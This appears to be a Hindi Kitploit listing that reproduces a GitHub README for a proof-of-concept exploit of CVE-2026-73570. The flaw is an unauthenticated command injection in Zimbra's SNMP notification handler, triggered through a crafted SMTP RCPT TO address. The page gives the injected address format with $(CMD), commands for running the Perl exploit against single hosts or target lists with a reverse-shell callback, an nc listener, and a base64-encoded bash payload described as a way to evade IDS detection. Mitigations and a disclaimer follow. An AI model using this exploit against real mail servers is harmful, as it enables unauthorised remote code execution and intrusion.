Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-73570 — ज़िम्ब्रा SNMP अधिसूचना OS कमांड इंजेक्शन — SMTP शोषण के माध्यम से बिना प्रमाणीकरण के RCE (PoC) | Kitploit
उपकरण/GitHubGitHub/gabrielunknown/cve-2026-73570
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगरिमोट एक्सेस टूल
GitHubgabrielunknown/cve-2026-73570

CVE-2026-73570

ज़िम्ब्रा SNMP अधिसूचना OS कमांड इंजेक्शन — SMTP शोषण के माध्यम से बिना प्रमाणीकरण के RCE (PoC)

रिपॉजिटरी देखें
41911 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-73570 — Zimbra ZCS SNMP Notification RCE एक्सप्लॉइट (PoC)

Zimbra Collaboration Suite SNMP नोटिफिकेशन हैंडलर में OS कमांड इंजेक्शन के माध्यम से अनऑथेंटिकेटेड रिमोट कोड एक्ज़ीक्यूशन।


अवलोकन

फ़ील्डमान
CVECVE-2026-73570
CVSS 3.18.9 HIGH — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
CWECWE-78 — OS कमांड में प्रयुक्त विशेष तत्वों का अनुचित निष्क्रियीकरण
प्रभावितZimbra ZCS < 10.1.20 (zimbra-snmp इंस्टॉल होने पर)
में ठीक किया गयाZCS 10.1.20 — जुलाई 2026
CISA KEV2026-08-21 को जोड़ा गया (FCEB उपचार समय-सीमा: 2026-08-24)
प्रमाणीकरण आवश्यककोई नहीं
के रूप में निष्पादनzimbra OS उपयोगकर्ता

मूल कारण

वैकल्पिक zimbra-snmp पैकेज एक swatchdog नियम के साथ आता है जो /var/log/zimbra.log को उन पंक्तियों के लिए टेल करता है जो इससे मेल खाती हैं:

Service status change: <NAME> changed from <STATE> to <STATE>

जब कोई मेल मिलता है, तो swatchdog कैप्चर किए गए <NAME> फ़ील्ड को बिना किसी सैनिटाइज़ेशन के सीधे SNMP नोटिफिकेशन शेल स्क्रिप्ट को पास कर देता है।

एक अनप्रमाणित हमलावर विशेष रूप से तैयार किया गया SMTP RCPT TO कमांड भेजकर एक क्राफ्टेड लॉग एंट्री इंजेक्ट कर सकता है। RFC 5321 quoted local-part का उपयोग करते हुए, शेल मेटाकैरेक्टर — जैसे $(...) — <NAME> के अंदर एम्बेड किए जाते हैं और तब निष्पादित होते हैं जब swatchdog परिणामी लॉग लाइन को प्रोसेस करता है।


पूर्व-शर्तें

कमज़ोरी का शोषण करने के लिए लक्ष्य पर तीनों शर्तें सत्य होनी चाहिए:

  • zimbra-snmp पैकेज इंस्टॉल हो
  • SNMP नोटिफिकेशन सक्षम हों (snmp_notify = true)
  • swatchdog सेवा चल रही हो

हमला प्रवाह

Attacker                          Zimbra MTA
   │                                  │
   │── TCP connect :25/:465/:587 ────►│
   │── EHLO mx-test.invalid ─────────►│
   │── MAIL FROM:<scanner@...> ──────►│
   │── RCPT TO:<"x: Service status    │
   │     change: localhost $(CMD)     │
   │     changed from stopped to      │
   │     running"@cve.invalid> ──────►│
   │                                  │── logs RCPT TO data ──► /var/log/zimbra.log
   │                                  │                               │
   │                                  │                         swatchdog matches
   │                                  │                         pattern, extracts
   │                                  │                         $(CMD), executes
   │◄─────────── shell callback ───────────────────────────────────────┘
  1. पोर्ट 25 / 465 / 587 से कनेक्ट करें।
  2. हथियारीकृत RCPT TO के साथ एक मानक SMTP वार्तालाप भेजें।
  3. Zimbra स्वीकार/अस्वीकार की परवाह किए बिना पता डेटा को लॉग करता है।
  4. swatchdog लॉग पैटर्न से मेल खाता है और इंजेक्ट किए गए $(CMD) को निकालता है।
  5. SNMP हैंडलर zimbra OS उपयोगकर्ता के रूप में CMD निष्पादित करता है।

एक्सप्लॉइट

आवश्यकताएँ

cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5

या apt-get के माध्यम से

apt-get install libio-socket-ssl-perl libmime-base64-perl libdigest-hmac-perl

या yum के माध्यम से

yum install perl-IO-Socket-SSL perl-MIME-Base64 perl-Digest-HMAC

एकल लक्ष्य

perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444

लक्ष्य सूची

perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444

targets.txt — प्रति पंक्ति एक होस्ट, वैकल्पिक :port, # से शुरू होने वाली पंक्तियाँ अनदेखी की जाती हैं:

mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment

सभी विकल्प

फ़्लैगलंबाडिफ़ॉल्टविवरण
-H--host—एकल लक्ष्य होस्टनाम या IP
-f--file—लक्ष्य सूची वाली फ़ाइल
-p--port587डिफ़ॉल्ट SMTP पोर्ट
-r--rhost—रिवर्स शेल कॉलबैक के लिए आपका IP
-R--rport4444लिसनर पोर्ट
-t--timeout15सॉकेट टाइमआउट सेकंड में
-S--sslबंदप्रत्यक्ष TLS (पोर्ट 465 पर स्वतः सक्षम)
-v--verboseबंदपूरा SMTP डायलॉग प्रिंट करें
-L--logfile—सत्र लॉग फ़ाइल में लिखें
-h--help—सहायता दिखाएँ

पूर्ण उदाहरण

# Terminal 1 — start listener
nc -lvnp 4444

# Terminal 2 — run exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v

पेलोड तकनीक

इंजेक्शन से पहले रिवर्स शेल कमांड को base64-एन्कोड किया जाता है:

echo <b64>|base64 -d|bash

यह IDS/IPS को /dev/tcp, bash -i, या nc -e जैसे plaintext signatures से मिलान करने से रोकता है। एन्कोडेड blob को RCPT TO के quoted local-part के अंदर $(...) के रूप में inject किया जाता है, जो swatchdog द्वारा log entry को process करते समय server-side execution को trigger करता है।


शमन

कार्रवाईविवरण
पैचZimbra ZCS ≥ 10.1.20 में अपग्रेड करें
SNMP notify अक्षम करेंzmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart
पैकेज हटाएंapt remove zimbra-snmp / yum remove zimbra-snmp
नेटवर्क नियंत्रणजहां परिचालन रूप से संभव हो, इनबाउंड SMTP (25/465/587) को विश्वसनीय relays तक सीमित करें

संदर्भ

  • NVD — CVE-2026-73570
  • Zimbra Security Advisories
  • CISA Known Exploited Vulnerabilities — CVE-2026-73570
  • CERT.pl advisory
  • BiuTrap/CVE-2026-73570

अस्वीकरण

यह proof-of-concept केवल अधिकृत सुरक्षा परीक्षण, शैक्षणिक अनुसंधान, और रक्षात्मक उद्देश्यों के लिए जारी किया गया है।
इसे उन सिस्टमों के विरुद्ध चलाना जो आपके स्वामित्व में नहीं हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, अवैध है।
लेखक इस टूल के किसी भी दुरुपयोग या क्षति के लिए कोई दायित्व नहीं लेता है।


टूल डाउनलोड करें